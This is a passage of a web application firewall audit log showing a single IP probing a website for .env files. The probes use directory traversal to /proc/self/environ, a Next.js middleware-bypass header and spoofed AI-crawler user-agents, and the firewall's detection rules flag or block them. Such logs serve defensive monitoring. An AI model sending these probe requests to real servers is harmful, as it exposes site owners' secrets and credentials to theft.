X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8ea3a81a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8ea3a81a-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqakfGM7dE9KgIIOpQiA0gAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980147644 64540 (- - -)
Stopwatch2: 1789305980147644 64540; combined=4942, p1=228, p2=4645, p3=0, p4=0, p5=69, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8ea3a81a-Z--

--9f2fe058-A--
[13/Sep/2026:16:26:20.305552 +0300] aqakfEwu1RSkptiiNIX@VQAAAJc 34.73.17.152 40834 127.0.0.1 7081
--9f2fe058-B--
GET /.env.swp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9f2fe058-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9f2fe058-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.swp"] [unique_id "aqakfEwu1RSkptiiNIX@VQAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980242231 63400 (- - -)
Stopwatch2: 1789305980242231 63400; combined=4337, p1=239, p2=4033, p3=0, p4=0, p5=65, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9f2fe058-Z--

--2e27e94d-A--
[13/Sep/2026:16:26:20.355927 +0300] aqakfGM7dE9KgIIOpQiA0wAAANE 34.73.17.152 40846 127.0.0.1 7081
--2e27e94d-B--
GET /js../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2e27e94d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2e27e94d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/js../.env"] [unique_id "aqakfGM7dE9KgIIOpQiA0wAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980284738 71258 (- - -)
Stopwatch2: 1789305980284738 71258; combined=4561, p1=230, p2=4274, p3=0, p4=0, p5=56, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2e27e94d-Z--

--7f4e8567-A--
[13/Sep/2026:16:26:20.405144 +0300] aqakfGM7dE9KgIIOpQiA1AAAAM4 34.73.17.152 40872 127.0.0.1 7081
--7f4e8567-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7f4e8567-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7f4e8567-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqakfGM7dE9KgIIOpQiA1AAAAM4"]
Action: Intercepted (phase 2)
Stopwatch: 1789305980389752 15456 (- - -)
Stopwatch2: 1789305980389752 15456; combined=4438, p1=316, p2=3857, p3=0, p4=0, p5=265, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7f4e8567-Z--

--a5a45e7a-A--
[13/Sep/2026:16:26:20.448381 +0300] aqakfDTJ6xTvcJoem7f9@wAAAEU 34.73.17.152 40868 127.0.0.1 7081
--a5a45e7a-B--
GET /public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a5a45e7a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a5a45e7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public/.env"] [unique_id "aqakfDTJ6xTvcJoem7f9@wAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980358053 90392 (- - -)
Stopwatch2: 1789305980358053 90392; combined=6467, p1=216, p2=6197, p3=0, p4=0, p5=53, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a5a45e7a-Z--

--233e3a3a-A--
[13/Sep/2026:16:26:20.497777 +0300] aqakfEwu1RSkptiiNIX@VgAAAJY 34.73.17.152 40852 127.0.0.1 7081
--233e3a3a-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--233e3a3a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--233e3a3a-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqakfEwu1RSkptiiNIX@VgAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980340476 157369 (- - -)
Stopwatch2: 1789305980340476 157369; combined=4966, p1=302, p2=4597, p3=0, p4=0, p5=67, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--233e3a3a-Z--

--19953129-A--
[13/Sep/2026:16:26:20.538149 +0300] aqakfGM7dE9KgIIOpQiA1gAAAMY 34.73.17.152 40894 127.0.0.1 7081
--19953129-B--
GET /css../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--19953129-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--19953129-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/css../.env"] [unique_id "aqakfGM7dE9KgIIOpQiA1gAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980454808 83398 (- - -)
Stopwatch2: 1789305980454808 83398; combined=4436, p1=224, p2=4159, p3=0, p4=0, p5=53, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--19953129-Z--

--d1438326-A--
[13/Sep/2026:16:26:20.549166 +0300] aqakfGM7dE9KgIIOpQiA1QAAANI 34.73.17.152 40880 127.0.0.1 7081
--d1438326-B--
GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d1438326-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d1438326-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "aqakfGM7dE9KgIIOpQiA1QAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980405762 143482 (- - -)
Stopwatch2: 1789305980405762 143482; combined=4347, p1=202, p2=4091, p3=0, p4=0, p5=54, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d1438326-Z--

--e09d3a18-A--
[13/Sep/2026:16:26:20.586728 +0300] aqakfGM7dE9KgIIOpQiA1wAAAME 34.73.17.152 40906 127.0.0.1 7081
--e09d3a18-B--
GET /web/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e09d3a18-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e09d3a18-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/web/.env"] [unique_id "aqakfGM7dE9KgIIOpQiA1wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980513059 73739 (- - -)
Stopwatch2: 1789305980513059 73739; combined=4522, p1=214, p2=4198, p3=0, p4=0, p5=110, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e09d3a18-Z--

--f0640513-A--
[13/Sep/2026:16:26:20.736583 +0300] aqakfGM7dE9KgIIOpQiA2gAAANA 34.73.17.152 40940 127.0.0.1 7081
--f0640513-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f0640513-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f0640513-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles/x"] [unique_id "aqakfGM7dE9KgIIOpQiA2gAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789305980729966 6795 (- - -)
Stopwatch2: 1789305980729966 6795; combined=5234, p1=271, p2=4581, p3=0, p4=0, p5=382, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0640513-Z--

--e80c3752-A--
[13/Sep/2026:16:26:20.751894 +0300] aqakfEwu1RSkptiiNIX@WAAAAJE 34.73.17.152 40914 127.0.0.1 7081
--e80c3752-B--
GET /build../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e80c3752-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e80c3752-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/build../.env"] [unique_id "aqakfEwu1RSkptiiNIX@WAAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980654067 97914 (- - -)
Stopwatch2: 1789305980654067 97914; combined=4602, p1=246, p2=4300, p3=0, p4=0, p5=55, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e80c3752-Z--

--aeedbd74-A--
[13/Sep/2026:16:26:20.832971 +0300] aqakfGM7dE9KgIIOpQiA2QAAAMA 34.73.17.152 40934 127.0.0.1 7081
--aeedbd74-B--
GET /storage/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--aeedbd74-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--aeedbd74-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/storage/.env"] [unique_id "aqakfGM7dE9KgIIOpQiA2QAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980709089 123939 (- - -)
Stopwatch2: 1789305980709089 123939; combined=4518, p1=210, p2=4252, p3=0, p4=0, p5=55, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aeedbd74-Z--

--fc6ba746-A--
